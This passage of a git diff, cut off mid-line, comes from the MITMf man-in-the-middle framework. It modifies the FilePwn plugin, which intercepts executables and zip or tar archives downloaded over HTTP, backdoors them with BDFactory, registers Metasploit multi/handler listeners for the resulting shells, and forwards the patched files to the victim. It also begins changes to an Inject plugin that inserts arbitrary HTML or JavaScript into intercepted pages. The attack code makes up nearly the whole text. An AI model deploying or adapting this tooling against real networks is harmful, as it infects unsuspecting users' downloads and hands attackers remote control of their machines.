import tarfile
import multiprocessing
@@ -78,8 +79,7 @@ class FilePwn(Plugin):
name = "FilePwn"
optname = "filepwn"
desc = "Backdoor executables being sent over http using bdfactory"
- implements = ["handleResponse"]
- tree_output = ["BDFProxy v0.3.2 online"]
+ tree_info = ["BDFProxy v0.3.2 online"]
version = "0.3"
has_opts = False
@@ -134,17 +134,23 @@ class FilePwn(Plugin):
msf = Msfrpc({"host": rpcip}) #create an instance of msfrpc libarary
msf.login('msf', rpcpass)
version = msf.call('core.version')['version']
- self.tree_output.append("Connected to Metasploit v{}".format(version))
+ self.tree_info.append("Connected to Metasploit v{}".format(version))
+
+ t = threading.Thread(name='setupMSF', target=self.setupMSF, args=(msf,))
+ t.setDaemon(True)
+ t.start()
except Exception:
sys.exit("[-] Error connecting to MSF! Make sure you started Metasploit and its MSGRPC server")
+
+ def setupMSF(self, msf):
- self.tree_output.append("Setting up Metasploit payload handlers")
jobs = msf.call('job.list')
for config in [self.LinuxIntelx86, self.LinuxIntelx64, self.WindowsIntelx86, self.WindowsIntelx64, self.MachoIntelx86, self.MachoIntelx64]:
cmd = "use exploit/multi/handler\n"
cmd += "set payload {}\n".format(config["MSFPAYLOAD"])
cmd += "set LHOST {}\n".format(config["HOST"])
cmd += "set LPORT {}\n".format(config["PORT"])
+ cmd += "set ExitOnSession False\n"
cmd += "exploit -j\n"
if jobs:
@@ -589,46 +595,46 @@ class FilePwn(Plugin):
self.patched.put(tempZipFile)
return
- def handleResponse(self, request, data):
+ def serverResponse(self, response, request, data):
- content_header = request.client.headers['Content-Type']
- client_ip = request.client.getClientIP()
+ content_header = response.headers['Content-Type']
+ client_ip = response.getClientIP()
if content_header in self.zipMimeTypes:
if self.bytes_have_format(data, 'zip'):
- mitmf_logger.info("{} Detected supported zip file type!".format(client_ip))
+ mitmf_logger.info("[FilePwn] {} Detected supported zip file type!".format(client_ip))
process = multiprocessing.Process(name='zip', target=self.zip, args=(data,))
process.daemon = True
process.start()
- process.join()
+ #process.join()
bd_zip = self.patched.get()
if bd_zip:
- mitmf_logger.info("{} Patching complete, forwarding to client".format(client_ip))
- return {'request': request, 'data': bd_zip}
+ mitmf_logger.info("[FilePwn] {} Patching complete, forwarding to client".format(client_ip))
+ return {'response': response, 'request': request, 'data': bd_zip}
else:
for tartype in ['gz','bz','tar']:
if self.bytes_have_format(data, tartype):
- mitmf_logger.info("{} Detected supported tar file type!".format(client_ip))
+ mitmf_logger.info("[FilePwn] {} Detected supported tar file type!".format(client_ip))
process = multiprocessing.Process(name='tar_files', target=self.tar_files, args=(data,))
process.daemon = True
process.start()
- process.join()
+ #process.join()
bd_tar = self.patched.get()
if bd_tar:
- mitmf_logger.info("{} Patching complete, forwarding to client".format(client_ip))
- return {'request': request, 'data': bd_tar}
+ mitmf_logger.info("[FilePwn] {} Patching complete, forwarding to client".format(client_ip))
+ return {'response': response, 'request': request, 'data': bd_tar}
elif content_header in self.binaryMimeTypes:
for bintype in ['pe','elf','fatfile','machox64','machox86']:
if self.bytes_have_format(data, bintype):
- mitmf_logger.info("{} Detected supported binary type!".format(client_ip))
+ mitmf_logger.info("[FilePwn] {} Detected supported binary type ({})!".format(client_ip, bintype))
fd, tmpFile = mkstemp()
with open(tmpFile, 'w') as f:
f.write(data)
@@ -636,15 +642,14 @@ class FilePwn(Plugin):
process = multiprocessing.Process(name='binaryGrinder', target=self.binaryGrinder, args=(tmpFile,))
process.daemon = True
process.start()
- process.join()
+ #process.join()
patchb = self.patched.get()
if patchb:
bd_binary = open("backdoored/" + os.path.basename(tmpFile), "rb").read()
os.remove('./backdoored/' + os.path.basename(tmpFile))
- mitmf_logger.info("{} Patching complete, forwarding to client".format(client_ip))
- return {'request': request, 'data': bd_binary}
+ mitmf_logger.info("[FilePwn] {} Patching complete, forwarding to client".format(client_ip))
+ return {'response': response, 'request': request, 'data': bd_binary}
- else:
- mitmf_logger.debug("{} File is not of supported Content-Type: {}".format(client_ip, content_header))
- return {'request': request, 'data': data}
\ No newline at end of file
+ mitmf_logger.debug("[FilePwn] {} File is not of supported Content-Type: {}".format(client_ip, content_header))
+ return {'response': response, 'request': request, 'data': data}
\ No newline at end of file
diff --git a/plugins/Inject.py b/plugins/Inject.py
index f448b2b..d86b5ef 100644
--- a/plugins/Inject.py
+++ b/plugins/Inject.py
@@ -27,46 +27,45 @@ import argparse
from core.utils import SystemConfig
from plugins.plugin import Plugin
from plugins.CacheKill import CacheKill
-from core.sergioproxy.ProxyPlugins import ProxyPlugins
mitmf_logger = logging.getLogger("mitmf")
-class Inject(Plugin):
+class Inject(CacheKill, Plugin):
name = "Inject"
optname = "inject"
desc = "Inject arbitrary content into HTML content"
- version = "0.2"
+ version = "0.3"
has_opts = True
def initialize(self, options):
'''Called if plugin is enabled, passed the options namespace'''
- self.options = options
- self.our_ip = SystemConfig.getIP(options.interface)
- self.html_src = options.html_url
- self.js_src = options.js_url
- self.rate_limit = options.rate_limit
- self.count_limit = options.count_limit
- self.per_domain = options.per_domain
- self.black_ips = options.black_ips
- self.white_ips = options.white_ips
- self.match_str = "" or options.match_str
- self.html_payload = options.html_payload
- self.ctable = {}
- self.dtable = {}
- self.count = 0
- self.mime = "text/html"
+ self.options = options
+ self.our_ip = SystemConfig.getIP(options.interface)
+ self.html_src = options.html_url
+ self.js_src = options.js_url
+ self.rate_limit = options.rate_limit
+ self.count_limit = options.count_limit
+ self.per_domain = options.per_domain
+ self.black_ips = options.black_ips.split(',')
+ self.white_ips = options.white_ips.split(',')
+ self.white_domains = options.white_domains.split(',')
+ self.black_domains = options.black_domains.split(',')
+ self.match_str = "